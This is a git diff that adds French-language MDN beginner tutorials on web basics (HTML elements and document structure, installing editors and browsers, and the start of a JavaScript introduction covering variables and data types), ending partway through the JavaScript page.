Un peu plus haut dans l'article, nous avons utilisé le terme « paquet » pour décrire le format avec lequel les données étaient envoyées depuis le serveur vers le client. Qu'est-ce que cela signifie ? Pour simplifier, lorsque des données sont envoyées sur le Web, elles sont envoyées en milliers de petits morceaux afin que de nombreux utilisateurs puissent consulter la même page web au même moment. Si les sites web étaient envoyés en un seul gros morceau, un seul utilisateur pourrait le télécharger à un moment donné (les autres devraient attendre leur tour), ce qui rendrait le web beaucoup moins pratique à utiliser et beaucoup moins performant.

+ +

Voir aussi

+ + + +

Crédit

+ +

Photo de rue : Street composing, par Kevin D.

+ +

{{PreviousMenu("Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/getting_started_with_the_web/html_basics/index.html b/files/fr/learn/getting_started_with_the_web/html_basics/index.html new file mode 100644 index 0000000000..b486e94905 --- /dev/null +++ b/files/fr/learn/getting_started_with_the_web/html_basics/index.html @@ -0,0 +1,230 @@ +--- +title: Les bases du HTML +slug: Apprendre/Commencer_avec_le_web/Les_bases_HTML +tags: + - Apprendre + - Bases HTML + - Code HTML + - Débutant + - HTML + - Site Web +translation_of: Learn/Getting_started_with_the_web/HTML_basics +--- +
{{LearnSidebar}}
+{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Gérer_les_fichiers", "Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web")}}
+ +
+

HyperText Markup Language (HTML) est le code utilisé pour structurer une page web et son contenu. Par exemple, le contenu de votre page pourra être structuré en un ensemble de paragraphes, une liste à puces ou avec des images et des tableaux de données. Comme le suggère le titre, cet article vous fournit les bases de compréhension du HTML et de ses fonctions.

+
+ +

Qu'est-ce que HTML, réellement ?

+ +

HTML n'est pas un langage de programmation. C'est un langage de balises qui définit la structure de votre contenu. HTML se compose d'une série d'{{Glossary("element", "éléments")}}, utilisés pour entourer, ou envelopper, les diverses parties du contenu pour les faire apparaître ou agir d'une certaine façon. Les {{Glossary("tag", "balises")}} entourantes peuvent être rendues par un mot ou une image lien hypertexte vers quelque chose d'autre, un texte en italique, une police plus grande ou plus petite, et ainsi de suite. Par exemple, avec la ligne de contenu suivante :

+ +
Mon chat est très grincheux
+ +

Si vous souhaitez que cette ligne reste ainsi, nous indiquerons qu'il s'agit d'un paragraphe en l'entourant des balises paragraphe :

+ +
<p>Mon chat est très grincheux</p>
+ +

Anatomie d'un élément HTML

+ +

Regardons de plus près cet élément paragraphe :

+ +

Diagramme décrivant la structure d'un élément HTML

+ +

Les composants principaux de notre élément sont :

+ +
    +
  1. La balise ouvrante : celle-ci se compose du nom de l'élément (ici « p »), entre deux chevrons. Cela indique le début de l'élément, soit l'endroit à partir duquel celui-ci prend effet. Pour notre exemple, cela indique le début du paragraphe.
    2. +
  2. La balise fermante : ici on a également des chevrons et le nom de l'élément, auxquels on ajoute une barre oblique avant le nom de l'élément. Cela indique la fin de l'élément. Pour notre exemple, cela indique la fin du paragraphe. Oublier la balise fermante est une erreur courante de débutant et peut conduire à de curieux résultats.
    3. +
  3. Le contenu : C'est le contenu de l'élément. Ici, c'est simplement du texte.
    4. +
  4. L'élément : Il est composé de la balise ouvrante, de la balise fermante et du contenu.
    5. +
+ +

Les éléments peuvent aussi avoir des « attributs », ce qui ressemble à :

+ +

Diagramme explicitant un attribut

+ +

Les attributs contiennent des informations supplémentaires qui portent sur l'élément et qu'on ne souhaite pas afficher avec le contenu. Dans cet exemple, l'attribut class permet d'utiliser un nom pour identifier l'élément et ce nom pourra être utilisé plus tard pour la mise en forme ou autre chose.

+ +

Un attribut doit toujours avoir :

+ +
    +
  1. Un espace entre l'attribut et le nom de l'élément ou l'attribut précédent (s'il y a plusieurs attributs) ;
    2. +
  2. Un nom (le nom de l'attribut), suivi d'un signe égal « = » ;
    3. +
  3. Des guillemets anglais (") pour encadrer la valeur de l'attribut.
    4. +
+ +

Imbriquer des éléments

+ +

Vous pouvez placer des éléments au sein d'autres éléments, c'est ce qu'on appelle l'imbrication. Par exemple, si vous souhaitez montrer que votre chat est très grincheux, vous pouvez placer le mot « très » dans un élement {{htmlelement("strong")}}, signifiant que le mot sera fortement mis en relief :

+ +
<p>Mon chat est <strong>très</strong> grincheux.</p>
+ +

Toutefois, il faut faire attention à ce que les éléments soient bien imbriqués les uns dans les autres. Dans l'exemple précédent, on ouvre l'élément {{htmlelement("p")}}, puis l'élément {{htmlelement("strong")}}. Nous devrons donc fermer l'élément {{htmlelement("strong")}} d'abord, puis l'élement {{htmlelement("p")}}. Le code suivant est incorrect :

+ +
<p>Mon chat est <strong>très grincheux.</p></strong>
+ +

Les éléments doivent être ouverts et fermés correctement de façon à ce qu'ils soient clairement à l'intérieur ou à l'extérieur les uns des autres. S'ils se chevauchent, le navigateur essaiera de choisir la meilleure option, qui ne sera peut-être pas ce que vous vouliez dire et pourrait conduire à des résultats inattendus. Donc ne le faites pas !

+ +

Les éléments vides

+ +

Certains éléments n'ont pas de contenu. Ces éléments sont appelés éléments vides. Prenons l'élément {{htmlelement("img")}} présent dans notre fichier HTML :

+ +
<img src="images/firefox-icon.png" alt="Mon image test" />
+ +

Cet élément contient deux attributs mais les balises ouvrante <img> et fermante </img> sont remplacées par une balise auto-fermante <img /> et il n'y a aucun contenu interne. En effet, l'élément image n'embarque pas de contenu, son but est d'intégrer une image dans la page HTML, à l'endroit où l'élément est placé.

+ +

Anatomie d'un document HTML

+ +

Pour l'instant, nous avons vu quelques éléments HTML de base. Pris séparément, ils ne sont pas très utiles. Regardons comment les combiner pour créer une page HTML complète. Nous allons repartir de l'exemple contenu dans le fichier index.html (qu'on a créé dans l'article Gérer les fichiers) :

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>Ma page de test</title>
+  </head>
+  <body>
+    <img src="images/firefox-icon.png" alt="Mon image de test">
+  </body>
+</html>
+ +

Cet exemple contient :

+ +
    +
  • <!DOCTYPE html> — le doctype. Au début de HTML, dans les années 1991-1992, les doctypes étaient utilisés pour faire référence à des ensembles de règles qu'on pouvait utiliser pour dire qu'un document était du HTML « valide » et détecter les erreurs de balisage. Cependant, ceux-ci ne sont plus utilisés aujourd'hui et sont juste présents pour s'assurer que la page puisse fonctionner y compris sur les anciens navigateurs. Pour le moment, c'est tout ce qu'il y a à savoir à propos des doctypes.
    • +
  • <html></html> — l'élément <html>. Cet élément encadre tout le contenu de la page. Cet élément est parfois appelé l'élément racine.
    • +
  • <head></head> — l'élément <head>. Cet élément est utilisé comme un container pour toutes les choses qui font partie de la page HTML mais qui ne sont pas du contenu affiché. C'est dans cet élément qu'on mettra des {{Glossary("keyword", "mots-clés")}}, une description de la page qui apparaîtra sur les moteurs de recherche, les liens vers les fichiers CSS à utiliser pour la mise en forme, les déclarations des jeux de caractères à utiliser et ainsi de suite.
    • +
  • <body></body> — l'élément {{htmlelement("body")}}. Cet élément est celui qui contient tout le contenu que vous souhaitez afficher pour qu'il soit vu par les visiteurs : cela peut être du texte, des images, des vidéos, des jeux, des pistes audio jouables, et ainsi de suite.
    • +
  • <meta charset="utf-8"> — Cet élément définit le jeu de caractères qui devrait être utilisé pour le document et indique que c'est utf-8. utf-8 regroupe l'ensemble des caractères connus utilisés dans les différents langages humains. Généralement, utf-8 permet de gérer n'importe quel texte que vous pourriez utiliser sur la page. Il n'y a pas de raison de ne pas le définir, et il permet d'éviter certains problèmes plus tard.
    • +
  • <title></title> — L'élément {{htmlelement("title")}} définit le titre de votre page. C'est ce titre qui apparaîtra sur l'onglet lorsque la page sera chargée. C'est également ce titre qui sera utilisé pour décrire la page lorsque vous la placez dans vos marques-pages.
    • +
+ +

Images

+ +

Regardons à nouveau l'élément image :

+ +
<img src="images/firefox-icon.png" alt="Mon image de test">
+ +

Comme on l'a vu auparavant, cet élément permet d'intégrer une image dans la page, à l'endroit où l'élément apparaît. L'image utilisée est définie via l'attribut src (pour source) qui contient le chemin vers le fichier de l'image.

+ +

Nous avons aussi utilisé l'attribut alt (pour alternatif). Il contient un texte descriptif de l'image à l'intention des utilisateurs qui ne peuvent pas voir l'image, car :

+ +
    +
  1. ils sont mal-voyants. Les utilisateurs handicapés visuellement utilisent souvent des outils nommés lecteurs d'écrans pour lire le texte de cet attribut ;
    2. +
  2. quelque chose s'est mal passé et l'image n'a pas pu être affichée. Par exemple, modifiez volontairement le chemin dans votre attribut src et faites qu'il soit incorrect. Si vous enregistrez et rechargez la page, vous verrez quelque chose comme ceci à la place de l'image :
    3. +
+ +

Mon image de test

+ +

Le point important qu'il faut retenir est que l'attribut est utilisé pour décrire l'image. Le texte contenu dans cet attribut doit fournir suffisamment d'informations pour que le lecteur puisse savoir ce que l'image représente. Par exemple, le texte que j'utilise « Mon image de test » n'est pas bon du tout. Une meilleure solution serait de mettre « Le logo Firefox, qui représente un renard de feu entourant la Terre ».

+ +

Essayez d'améliorer le texte alternatif pour l'image maintenant.

+ +
+

Note : Pour plus d'informations sur l'accessibilité, vous trouverez la section Accessibilité de MDN.

+
+ +

Baliser le texte

+ +

Dans cette section, nous verrons quelques-uns des éléments HTML de base pour baliser le texte.

+ +

Les titres

+ +

Les éléments de titre permettent de définir certains textes comme des titres ou sous-titres pour le contenu. D'une certaine façon, ceux-ci fonctionnent comme pour un livre : on a le titre du livre (le plus important) puis les titres des différents chapitres et parfois des sous-titres au sein de ces chapitres. HTML contient des éléments pour 6 niveaux de titres : {{htmlelement("h1")}}–{{htmlelement("h6")}}. La plupart du temps, 3-4 niveaux suffisent amplement :

+ +
<h1>Mon titre principal</h1>
+<h2>Mon titre de section</h2>
+<h3>Mon sous-titre</h3>
+<h4>Mon sous-sous-titre</h4>
+ +

Vous pouvez ajouter un titre adapté à votre page avec un de ces éléments. Vous pouvez le placer au-dessus de l'élément {{htmlelement("img")}} dans votre document HTML.

+ +

Les paragraphes

+ +

Comme expliqué auparavant, les éléments {{htmlelement("p")}} sont utilisés pour contenir des paragraphes de texte. Vous les utiliserez fréquemment pour placer du texte sur une page :

+ +
<p>Voici un paragraphe</p>
+ +

Ici, vous pouvez ajouter le texte que vous avez choisi lorsque vous avez décidé à quoi ressemblera votre site web. Vous pouvez placer votre texte dans un ou plusieurs paragraphes, directement sous l'élément <img>.

+ +

Les listes

+ +

Une grande partie du contenu sur le Web est présente sous forme de listes. HTML a donc des éléments utilisés pour représenter ces listes. Le balisage des listes contient toujours au moins deux éléments. Les types de listes utilisés fréquemment sont les listes ordonnées et les listes non-ordonnées :

+ +
    +
  1. Les listes non-ordonnées sont des listes pour lesquelles l'ordre des éléments n'a pas d'importance (par exemple une liste d'emplettes). La balise utilisée pour ces listes est l'élément {{htmlelement("ul")}} (ul signifie unordered list liste non-ordonnée en anglais)
    2. +
  2. Les listes ordonnées sont des listes pour lesquelles l'ordre des éléments est important (par exemple une recette). La balise utilisée pour ces listes est l'élément {{htmlelement("ol")}} (ol signifie ordered list liste ordonnée en anglais)
    3. +
+ +

Chaque élément d'une liste est balisé avec un élément {{htmlelement("li")}} (list item).

+ +

Par exemple, si on souhaite modifier un paragraphe en une liste :

+ +
<p>Mozilla est une communauté mondiale composée de technologues, chercheurs, bâtisseurs travaillant ensemble... </p>
+ +

On pourrait faire :

+ +
<p>Mozilla est une communauté mondiale composée de </p>
+
+<ul>
+  <li>technologues</li>
+  <li>chercheurs</li>
+  <li>bâtisseurs</li>
+</ul>
+
+<p>travaillant ensemble...</p>
+ +

Essayez d'ajouter une liste ordonnée ou non-ordonnée sur votre page. Vous pouvez l'ajouter après l'image.

+ +

Les liens

+ +

Les liens sont très importants, ce sont eux qui font que le web est une toile sur laquelle on peut naviguer de page en page. Pour créer un lien, il suffit d'utiliser l'élément {{htmlelement("a")}} (le a est un raccourci pour « ancre »). Pour transformer du texte en un lien, suivez ces étapes :

+ +
    +
  1. Choisissez un texte (ici, nous travaillerons avec le texte « Manifeste Mozilla ».
    2. +
  2. Encadrez le texte dans un élément <a> : + 
    <a>Manifeste Mozilla</a>
    +
    3. +
  3. Fournissez un attribut href pour l'élément <a>, de cette façon : + 
    <a href="">Manifeste Mozilla</a>
    +
    4. +
  4. Dans cet attribut, ajoutez le lien vers le site vers lequel vous voulez diriger les utilisateurs : + 
    <a href="https://www.mozilla.org/fr/about/manifesto/">Manifeste Mozilla</a>
    +
    5. +
+ +

Attention à ne pas oublier la partie avec https:// ou http:// qui représente le protocole utilisé, au début de l'adresse. Une fois que vous avez créé un lien, testez votre page et cliquez dessus pour vous assurer qu'il fonctionne correctement.

+ +
+

href peut sembler un peu étrange à première vue. Une explication sur l'origine du nom pourra vous aider à mieux vous en souvenir : href correspond à hypertext reference en anglais, ce qui signifie « référence hypertexte » en français.

+
+ +

Si ce n'est pas déjà fait, vous pouvez ajouter un lien sur votre page grâce à ces informations.

+ +

Conclusion

+ +

Si vous avez suivi les différentes instructions de cette page, vous devriez obtenir une page qui ressemble à celle-ci (vous pouvez également la voir ici) :
+
+ A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text

+ +

Si vous êtes bloqué, n'hésitez pas à comparer votre travail avec l'exemple fini disponible sur GitHub.

+ +

Dans cet article, nous n'avons fait qu'effleurer la surface de HTML. Pour en apprendre plus sur HTML, vous pouvez vous rendre sur la page Apprendre HTML.

+ +

{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Gérer_les_fichiers", "Apprendre/Commencer_avec_le_web/Les_bases_CSS","Apprendre/Commencer_avec_le_web")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/getting_started_with_the_web/index.html b/files/fr/learn/getting_started_with_the_web/index.html new file mode 100644 index 0000000000..88479469c9 --- /dev/null +++ b/files/fr/learn/getting_started_with_the_web/index.html @@ -0,0 +1,62 @@ +--- +title: Commencer avec le Web +slug: Apprendre/Commencer_avec_le_web +tags: + - CSS + - Conception + - Débutant + - Guide + - HTML + - Index + - Theorie + - Web + - publication +translation_of: Learn/Getting_started_with_the_web +--- +
{{LearnSidebar}}
+ +
+

Commencer avec le Web est une suite concise d'articles vous présentant la pratique du développement web. Vous installerez les outils nécessaires pour construire une simple page web et publier votre code.

+
+ +

L'histoire de votre premier site web

+ +

Créer un site web professionnel nécessite beaucoup de travail. C'est pourquoi, si vous débutez, nous vous encourageons à commencer par quelque chose de simple. Vous n'allez pas bâtir un nouveau Facebook dès le départ, mais il n'est pas bien compliqué de mettre en ligne votre propre site web. C'est par là que nous allons commencer.

+ +

En parcourant les articles listés ci-dessous, vous pourrez créer votre première page web et la mettre en ligne. Allons-y !

+ +

Installer les outils de base

+ +

Beaucoup d'outils sont disponibles afin de construire un site web. Si vous débutez, vous serez peut-être perturbé par la quantité d'éditeurs de code, de "frameworks" ou encore d'outils de tests disponibles. Dans cet article nous décrivons, pas à pas, comment installer les seuls outils strictement nécessaires afin de développer un site web.

+ +

Quel sera l'aspect de votre site ?

+ +

Avant de commencer à écrire le code de votre site web, vous devez d'abord le concevoir. Quelles informations choisissez-vous de mettre en avant ? Quelles polices de caractères et quelles couleurs utiliser ? Dans cet article, nous vous proposons une méthode simple pour planifier au mieux le contenu et la conception de votre site.

+ +

Gestion des fichiers

+ +

Un site web contient plusieurs types de fichiers (texte, code, feuilles de styles, multimedia, etc.). Construire un site web revient à créer une structure dans laquelle ces fichiers peuvent interagir les uns avec les autres. Dans cet article, nous détaillerons cette problématique tout en expliquant comment donner une structure cohérente à votre site web.

+ +

Les bases de HTML

+ +

Hypertext Markup Language (HTML) correspond au code que vous utiliserez pour structurer les différents contenus en ligne. Par exemple, le contenu sera‑t‑il un ensemble de paragraphes, ou une liste à puces ? Y aura‑t‑il des images insérées ? Aurai‑je une table de données ? Sans vous submerger, Les bases du HTML vous donne assez d'informations pour que vous soyez un familier du HTML.

+ +

Les bases des CSS

+ +

Les Cascading Stylesheets (CSS) (« feuilles de styles en cascade ») reçoivent le code à utiliser pour mettre en forme votre site Web. Par exemple, voulez‑vous que le texte soit en noir ou en rouge ? Où le contenu doit‑il être placé sur l'écran ? Quelles devront être les images de fond et les couleurs utilisées pour décorer votre site web ? « Les bases des CSS » vous apprendra tout ce dont vous avez besoin pour commencer.

+ +

Les bases de JavaScript

+ +

JavaScript est le langage de programmation à utiliser pour ajouter des fonctionnalités interactives dans vos sites Web, par exemple des jeux, les événements déclenchés lorsqu'un bouton est pressé ou lorsque des données sont entrées dans un formulaire, des effets de style dynamiques, des animations, etc. Les bases de JavaScript vous offrent un aperçu des possibilités de ce puissant langage et vous montre comment commencer à l'utiliser.

+ +

Publier votre site web

+ +

Une fois votre code écrit et la structure des fichiers organisée, vous devez tout mettre en ligne pour permettre son accès aux autres. Publier votre site Web décrit comment mettre en ligne votre site web avec un effort minimum.

+ +

Le fonctionnement du Web

+ +

Une succession d'opérations complexes, dont vous n'avez pas forcément à vous soucier, intervient chaque fois que vous accédez à votre site Web favori. Le fonctionnement du Web décrit ce qui se passe lorsque vous affichez un site web sur votre ordinateur.

+ +

Voir aussi

+ +

Le Web démystifié : une grande série de vidéos expliquant les fondamentaux du Web, visant à parfaire des débutants dans le développement Web. Créée par Jérémie Patonnier.

diff --git a/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.html new file mode 100644 index 0000000000..0a7ad53559 --- /dev/null +++ b/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.html @@ -0,0 +1,76 @@ +--- +title: Installation des outils de base +slug: Apprendre/Commencer_avec_le_web/Installation_outils_de_base +tags: + - Apprendre + - Débutant + - Navigateurs + - Outils + - Setup + - Web + - Éditeurs de texte +translation_of: Learn/Getting_started_with_the_web/Installing_basic_software +--- +
{{LearnSidebar}}
+{{NextMenu("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site","Apprendre/Commencer_avec_le_web")}}
+ +
+

Dans cet article, nous allons vous montrer les outils dont vous aurez besoin pour développer un site web simple, ainsi que leur installation.

+
+ +

Quels outils utilisent les professionnels ?

+ +
    +
  • Un ordinateur. Ça peut sembler évident, mais certains d'entre vous lisent cet article depuis leur téléphone ou un terminal de bibliothèque. Pour du développement web sérieux, il est préférable d'investir dans un ordinateur de bureau tournant sous Linux, Mac ou Windows.
    • +
  • Un éditeur de texte, pour y écrire du code. Cela peut être un éditeur gratuit (ex : Visual Studio Code, Atom, Sublime Text ou Notepad++) ou un éditeur hybride (Dreamweaver). Les éditeurs de documents Office ne sont pas adaptés à cette utilisation, car ils reposent sur des éléments cachés qui interfèrent avec les moteurs de rendu utilisés par les navigateurs web.
    • +
  • Un navigateur web, pour y tester le code. Les navigateurs les plus utilisés sont Firefox, Chrome, Opera, Safari, Internet Explorer et Microsoft Edge . Vous devez également tester le fonctionnement de votre site sur les appareils mobiles, et sur tous les anciens navigateurs que votre public cible utilise encore beaucoup (comme IE 8-10).
    • +
  • Un éditeur graphique, comme GIMP, Paint.NET, Krita ou Photoshop pour réaliser les images de vos pages web.
    • +
  • Un système de contrôle de versions, pour gérer les fichiers sur le serveur, collaborer sur les projets avec une équipe, partager le code et les ressources et éviter les conflits d'édition. À ce jour, Git est l'outil lde contrôle de version le plus connu et le service d'hébergement de code GitHub, fondé sur Git, est également très populaire.
    • +
  • Un programme FTP, utilisé sur les anciens comptes d'hébergement Web pour gérer les fichiers sur les serveurs  (Git remplace de plus en plus le FTP à cette fin). Il existe une grande quantité de programmes de ce genre comme Cyberduck, Fetch et FileZilla.
    • +
  • Un système d'automatisation, comme Grunt ou Gulp, pour automatiser les tâches répétitives, comme minimiser le code, ou lancer des tests.
    • +
  • Des modèles, bibliothèques, frameworks, etc. pour accélérer le développement de fonctionnalités courantes.
    • +
  • Et encore plus d'outils !
    • +
+ +

De quels outils ai-je besoin tout de suite ?

+ +

Cette liste peut paraître effrayante, mais heureusement vous pouvez vous lancer dans le développement web sans rien savoir de tout cela. Dans cet article nous allons vous présenter le minimum : un éditeur de texte et quelques navigateurs web modernes.

+ +

Installer un éditeur de texte

+ +

Vous avez probablement un éditeur de texte basique sur votre ordinateur. Par défaut Windows propose Notepad et macOS, TextEdit. Pour les distributions Linux cela varie. Ubuntu propose gedit par défaut.

+ +

Pour le développement web, vous trouverez surement mieux que Notepad ou TextEdit. Nous vous recommandons de commencer avec Visual Studio Code,  qui est un éditeur libre offrant des aperçus en direct et des conseils de code.

+ +

Installer un navigateur moderne

+ +

Pour l'instant, nous n'installerons que deux navigateurs pour y tester notre code. Choisissez votre système d'exploitation ci-dessous et cliquez sur les liens pour télécharger les programmes d'installation correspondants à vos navigateurs favoris :

+ + + +

Avant de continuer, vous devriez installer au moins deux de ces navigateurs et les préparer pour les tests.

+ +

Note: Internet Explorer n'est pas compatible avec les dernières améliorations proposées par le Web. Il est possible que votre projet ne fonctionne pas sur ce navigateur. Vous n'avez généralement pas à vous soucier de rendre vos projets Web compatibles avec celui-ci, car très peu de personnes l'utilisent encore. Mais pour certains besoins spécifique, il faudra rendre votre projet compatible.

+ +

Installer un serveur web local

+ +

Certains projets Web ont besoin d'être lancés sur un serveur Web pour fonctionner correctement. Vous pouvez trouver ces explications ici: Comment installer en local un serveur de tests ?

+ +

{{NextMenu("Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site","Apprendre/Commencer_avec_le_web")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/getting_started_with_the_web/javascript_basics/index.html b/files/fr/learn/getting_started_with_the_web/javascript_basics/index.html new file mode 100644 index 0000000000..05d0540779 --- /dev/null +++ b/files/fr/learn/getting_started_with_the_web/javascript_basics/index.html @@ -0,0 +1,412 @@ +--- +title: Les bases de JavaScript +slug: Apprendre/Commencer_avec_le_web/Les_bases_JavaScript +tags: + - Apprendre + - Code JavaScript + - Débutant + - JavaScript + - Web +translation_of: Learn/Getting_started_with_the_web/JavaScript_basics +--- +
{{LearnSidebar}}
+{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_CSS", "Apprendre/Commencer_avec_le_web/Publier_votre_site_web","Apprendre/Commencer_avec_le_web")}}
+ +
+

JavaScript est un langage de programmation qui ajoute de l'interactivité à votre site web (par exemple : jeux, réponses quand on clique sur un bouton ou des données entrées dans des formulaires, composition dynamique, animations). Cet article vous aide à débuter dans ce langage passionnant et vous donne une idée de ses possibilités.

+
+ +

Qu'est le JavaScript, réellement ?

+ +

{{Glossary("JavaScript")}} (« JS » en abrégé) est un langage de {{Glossary("Dynamic programming language", "programmation dynamique")}} complet qui, appliqué à un document {{Glossary("HTML")}}, peut fournir une interactivité dynamique sur les sites Web. Il a été inventé par Brendan Eich, co-fondateur du projet Mozilla, de la Mozilla Foundation et de la Mozilla Corporation.

+ +

JavaScript est d'une incroyable flexibilité. Vous pouvez commencer petit, avec des carrousels, des galeries d'images, des variations de mises en page et des réponses aux clics de boutons. Avec plus d'expérience, vous serez en mesure de créer des jeux, des graphiques 2D et 3D animés, des applications complètes fondées sur des bases de données et bien plus encore !

+ +

JavaScript est plutôt compact tout en étant très souple. Les développeurs ont écrit de nombreux outils sur le cœur du langage JavaScript, créant des fonctionnalités supplémentaires très simplement. Parmi ces outils, il y a :

+ +
    +
  • des Interfaces de Programmation d'Applications pour navigateurs ({{Glossary("API","API")}}) — API intégrées aux navigateurs web permettant de créer dynamiquement du HTML, de définir des styles de CSS, de collecter et manipuler un flux vidéo depuis la webcam de l'utilisateur ou de créer des graphiques 3D et des échantillonnages audio.
    • +
  • des API tierces‑parties permettant aux développeurs d'incorporer dans leurs sites des fonctionnalités issues d'autres fournisseurs de contenu, comme Twitter ou Facebook.
    • +
  • des modèles et bibliothèques tierces‑parties applicables à votre HTML permettant de mettre en œuvre rapidement des sites et des applications.
    • +
+ +

Comme cet article est une introduction simplifiée à JavaScript, nous n'allons pas compliquer les choses à ce stade en entrant dans les détails sur les différences entre le coeur du langage JavaScript et les différents outils cités plus haut. Vous pourrez entrer dans ces détails plus tard grâce à notre centre d'apprentissage JavaScript, et le reste du MDN.

+ +

Ci-dessous nous allons vous présenter quelques aspects du coeur du langage, et vous pratiquerez aussi en manipulant les fonctionnalités des API navigateur. Amusez-vous !

+ +

Un exemple « hello world »

+ +

Le paragraphe précédent laisse entrevoir quelque chose de passionnant, et cela l'est vraiment — JavaScript est une technologie web parmi les plus dynamiques. Une fois que vous commencerez à être autonome en JavaScript, vous entrerez dans une nouvelle dimension de puissance et créativité.

+ +

Cependant, être à l'aise avec JavaScript est plus dur que de l'être avec HTML ou CSS. Vous pourrez démarrer petit et continuer à travailler par petites étapes de façon soutenue. Pour commencer, nous allons vous montrer comment ajouter un JavaScript basique à votre page, en créant un exemple « Hello world ! » (la norme en matière d'exemples de programmation de base).

+ +
+

Important : Si vous rejoignez cette série d'articles en cours de route, téléchargez cet exemple de code et utilisez‑le comme point de départ.

+
+ +
    +
  1. Tout d'abord, allez sur votre site de test et créez un nouveau dossier nommé « scripts » (sans guillemets). Ensuite, dans le nouveau dossier scripts que vous venez de créer, créez un nouveau fichier appelé main.js. Sauvegardez-le dans votre dossier scripts.
    2. +
  2. Ensuite, dans votre fichier index.html, ajoutez l'élément suivant sur une nouvelle ligne avant la balise fermante </body> : + 
    <script src="scripts/main.js"></script>
    +
    3. +
  3. Cet élément a le même rôle que l'élément {{htmlelement("link")}} pour le CSS — il applique le code JavaScript à la page, de sorte qu'il puisse avoir de l'effet sur le HTML (en même temps que le CSS et autres sur la page).
    4. +
  4. Maintenant ajoutez le code suivant dans main.js : + 
    let myHeading = document.querySelector('h1');
+myHeading.textContent = 'Bonjour, monde !';
    +
    5. +
  5. Assurez-vous que les fichiers HTML et JavaScript soient enregistrés puis chargez index.html dans votre navigateur. Vous devriez obtenir quelque chose comme :
    6. +
+ +
+

Note : La raison pour laquelle nous avons placé l'élément {{htmlelement("script")}} en bas du fichier HTML est que le HTML est chargé par le navigateur dans l'ordre dans lequel il apparaît dans le fichier. Si le JavaScript est chargé en premier et qu'il est supposé affecter le HTML en dessous, il pourrait ne pas fonctionner, car le JavaScript serait chargé avant le HTML sur lequel il est supposé travailler. Par conséquent, placer JavaScript près du bas de la page HTML est souvent la meilleure stratégie.

+
+ +

Que s'est-il passé ?

+ +

Le texte du titre a été changé en «Bonjour, monde ! » en utilisant JavaScript. Pour cela, on a utilisé une fonction appelée {{domxref("Document.querySelector", "querySelector()")}} pour obtenir une référence sur l'en‑tête et la stocker dans une variable appelée myHeading. C'est assez proche de ce qu'on a fait avec les sélecteurs CSS. Lorsqu'on souhaite manipuler un élément, il faut d'abord le sélectionner.

+ +

Ensuite, nous fixons à « Bonjour, monde ! » la valeur de la propriété {{domxref("Node.textContent", "textContent")}} de la variable myHeading (elle représente le contenu du titre).

+ +
+

Note : Les deux fonctions que vous avez utilisées ci-dessus font partie de l'API Document Object Model (DOM), qui vous permet de manipuler les documents.

+
+ +

Les bases du JavaScript en accéléré

+ +

Nous allons explorer les fonctionnalités de base de JavaScript pour que vous puissiez mieux comprendre comment il fonctionne. Ces fonctionnalités sont communes à la plupart des langages de programmation, si vous comprenez ces éléments en JavaScript, vous êtes en bonne voie de pouvoir programmer à peu près n'importe quoi !

+ +
+

Important : Tout au long de cet article, vous pouvez saisir les lignes de code dans votre console JavaScript pour voir ce qui se passe. Pour plus de détails sur les consoles JavaScript, vous pouvez lire Découvrir les outils de développement présents dans le navigateur.

+
+ +

Variables

+ +

Les {{Glossary("Variable", "variables")}} sont des conteneurs dans lesquels on peut stocker des valeurs. Pour commencer, il faut déclarer une variable avec le mot-clé let en le faisant suivre de son nom :

+ +
let myVariable;
+ +
+

Note : Un point-virgule en fin de ligne indique là où se termine l'instruction ; ce n'est impérativement requis que si vous devez séparer des instructions sur une même ligne. Toutefois, certains pensent qu'il est de bonne pratique de les mettre à la fin de chaque instruction. Il y a d'autres règles à propos de leur emploi ou non‑emploi — voyez Guide des points‑virgule en JavaScript pour plus de détails.

+
+ +
+

Note : Vous pouvez utiliser (quasiment) n'importe quel nom pour nommer une variable, mais il y a quelques restrictions (voyez cet article sur les règles de nommage des variables). Si vous avez un doute, vous pouvez vérifier le nom de votre variable pour voir s'il est valide.

+
+ +
+

Note : JavaScript est sensible à la casse — myVariable est une variable différente de myvariable. Si vous avez des problèmes dans votre code, vérifiez la casse  !

+
+ +

Une fois une variable déclarée, vous pouvez lui donner une valeur :

+ +
myVariable = 'Bob';
+ +

Vous pouvez faire les deux opérations sur une même ligne si vous le souhaitez :

+ +
let myVariable = 'Bob';
+ +

Vous retrouvez la valeur en appelant simplement la variable par son nom :

+ +
myVariable;
+ +

Une fois qu'on a donné une valeur à une variable, on peut la changer plus loin :

+ +
let myVariable = 'Bob';
+myVariable = 'Étienne';
+ +

Notez que les variables peuvent contenir des types différents de données :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariableExplicationExemple
{{Glossary("String", "Chaîne de caractères")}}Une suite de caractères connue sous le nom de chaîne. Pour indiquer que la valeur est une chaîne, il faut la placer entre guillemets.let myVariable = 'Bob';
{{Glossary( "Number" ,"Nombre")}}Un nombre. Les nombres ne sont pas entre guillemets.let myVariable = 10;
{{Glossary( "Boolean" ,"Booléen")}}Une valeur qui signifie vrai ou faux. true/false sont des mots-clés spéciaux en JS, ils n'ont pas besoin de guillemets.let myVariable = true;
{{Glossary( "Array" ,"Tableau")}}Une structure qui permet de stocker plusieurs valeurs dans une seule variable. +

let myVariable = [1,'Bob','Étienne',10];
+ Référez‑vous à chaque élément du tableau ainsi : myVariable[0], myVariable[1], etc.

+
{{Glossary( "Object" ,"Objet")}}À la base de toute chose. Tout est un objet en JavaScript et peut être stocké dans une variable. Gardez cela en mémoire tout au long de ce cours.let myVariable = document.querySelector('h1'); tous les exemples au dessus sont aussi des objets.
+ +

